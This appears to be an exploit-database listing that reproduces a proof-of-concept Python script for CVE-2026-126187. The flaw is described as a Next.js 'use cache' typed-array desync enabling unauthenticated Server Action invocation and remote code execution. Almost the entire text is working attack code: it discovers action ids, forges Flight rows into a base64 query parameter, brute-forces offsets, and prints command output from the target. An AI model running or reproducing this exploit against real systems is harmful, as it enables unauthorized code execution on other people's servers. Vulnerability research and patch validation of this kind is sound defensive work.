Exploit databaseDownload repository ZIP
GH-cff0e07bb936cc68d648541473fec8c9
tahucryptsi/poc-cve-2026-126187-rsc-usecache-rce
Sources for CVE-2026-126187
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
tahucryptsi/poc-cve-2026-126187-rsc-usecache-rceRevision 9dd1220cd6f3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 6,782 bytes#!/usr/bin/env python3
"""CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 - Next.js use-cache typed-array
framing desync -> unauthenticated Server Action invocation (RCE).
Original research by the React security team; independent reproduction
package by codewithwan (TahuCryptsi). Authorized testing only.
Flow:
1. discover the Server Action id from the page HTML or its client chunks
2. build a base64 "annotation" blob with forged Flight rows placed at the
decoder's resume offset (after the detached second typed-array view)
3. GET the page with ?annotation=<blob>
4. read the action output from the rendered <pre> JSON
"""
import argparse
import base64
import html
import http.client
import json
import re
import ssl
import sys
import urllib.parse
def http_get(url, timeout, insecure):
parts = urllib.parse.urlsplit(url)
host = parts.hostname
port = parts.port or (443 if parts.scheme == "https" else 80)
if parts.scheme == "https":
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
target = parts.path or "/"
if parts.query:
target += "?" + parts.query
try:
conn.request("GET", target, headers={"User-Agent": "cve-2026-126187-repro", "Connection": "close"})
resp = conn.getresponse()
body = resp.read()
return resp.status, body
finally:
conn.close()
def discover_action_id(base, path, timeout, insecure):
status, body = http_get(base + path, timeout, insecure)
text = body.decode("utf-8", "replace")
direct = re.search(r"\$ACTION_ID_([0-9a-fA-F]{40,})", text)
if direct:
return direct.group(1).lower()
for src in re.findall(r"<script[^>]+src=[\"']([^\"']+)[\"']", text):
js_url = urllib.parse.urljoin(base + path, src)
try:
_, js_body = http_get(js_url, timeout, insecure)
js = js_body.decode("utf-8", "replace")
except Exception:
continue
ref = re.search(r"createServerReference[^\n]{0,200}?[\"']([0-9a-fA-F]{40,})[\"']", js)
if ref:
return ref.group(1).lower()
return None
def build_blob(forged_rows, chunk_id="4", overread=8192):
"""Place forged rows at the decoder's post-desync resume offset."""
length = overread
for _ in range(8):
header = "%s:o%x," % (chunk_id, length)
resume_at = overread - len(header)
length = resume_at + len(forged_rows)
blob = bytearray(b"F" * length)
blob[resume_at:resume_at + len(forged_rows)] = forged_rows.encode()
return bytes(blob), resume_at, length
def make_forged_rows(action_id, chunk_id, action_args):
return (
"6:%s\n" % json.dumps(action_args, separators=(",", ":"))
+ '5:{"id":"%s","bound":"$@6"}\n' % action_id
+ '%s:{"then":"$h5"}\n' % chunk_id
)
def extract_summary(page):
match = re.search(r"<pre[^>]*>(.*?)</pre>", page, re.S)
if not match:
return None
raw = re.sub(r"<!--.*?-->", "", match.group(1), flags=re.S).strip()
try:
return json.loads(html.unescape(raw))
except Exception:
return None
def attempt(base, path, action_id, action_args, chunk_id, overread, timeout, insecure):
rows = make_forged_rows(action_id, chunk_id, action_args)
blob, resume_at, length = build_blob(rows, chunk_id, overread)
encoded = urllib.parse.quote(base64.b64encode(blob).decode(), safe="")
sep = "&" if "?" in path else "?"
url = base + path + sep + "annotation=" + encoded
status, body = http_get(url, timeout, insecure)
page = body.decode("utf-8", "replace")
summary = extract_summary(page)
annotation = summary.get("annotation") if isinstance(summary, dict) else None
return status, annotation
def looks_like_execution(annotation):
if not isinstance(annotation, str) or annotation in ("", "undefined", "null"):
return False
if re.fullmatch(r"Uint8Array\(\d+\)", annotation):
return False
if annotation.startswith("[unresolved:"):
return False
return True
def main():
ap = argparse.ArgumentParser(description="Validate CVE-2026-126187 (Next.js use-cache typed-array RCE)")
ap.add_argument("url", help="target base URL, e.g. http://127.0.0.1:3100")
ap.add_argument("--path", default="/")
ap.add_argument("--cmd", default="id")
ap.add_argument("--action-id", default=None, help="explicit 40-64 hex action id (skips discovery)")
ap.add_argument("--chunk-id", default="4")
ap.add_argument("--overread", type=int, default=8192)
ap.add_argument("--scan", action="store_true", help="scan chunk ids and overread sizes")
ap.add_argument("--timeout", type=float, default=30.0)
ap.add_argument("--insecure", action="store_true")
args = ap.parse_args()
parts = urllib.parse.urlsplit(args.url)
if not parts.scheme or not parts.hostname:
ap.error("URL must include scheme and host")
base = "%s://%s" % (parts.scheme, parts.netloc)
path = args.path or "/"
action_id = args.action_id
if not action_id:
action_id = discover_action_id(base, path, args.timeout, args.insecure)
if not action_id:
print("[-] could not discover a Server Action id")
sys.exit(1)
print("[*] action id: %s" % action_id)
if args.scan:
combos = []
for cid in range(1, 9):
for ov in (1024, 2048, 4096, 8192, 16384, 32768):
combos.append((str(cid), ov))
else:
combos = [(args.chunk_id, args.overread)]
for chunk_id, overread in combos:
try:
status, annotation = attempt(base, path, action_id, [args.cmd], chunk_id, overread, args.timeout, args.insecure)
except Exception as exc:
print("[-] chunk=%s overread=%s: request failed (%s)" % (chunk_id, overread, exc))
continue
tag = "chunk=%s overread=%s" % (chunk_id, overread)
if looks_like_execution(annotation):
print("[+] %s HTTP %s" % (tag, status))
print("[+] Server Action executed with attacker-chosen arguments")
print("================ action output ================")
print((annotation or "").rstrip("\n"))
print("===============================================")
sys.exit(0)
else:
print("[-] %s HTTP %s -> %s" % (tag, status, (annotation or "no summary")[:90]))
print("[-] not reproduced (target likely patched or layout outside scan space)")
sys.exit(1)
if __name__ == "__main__":
main()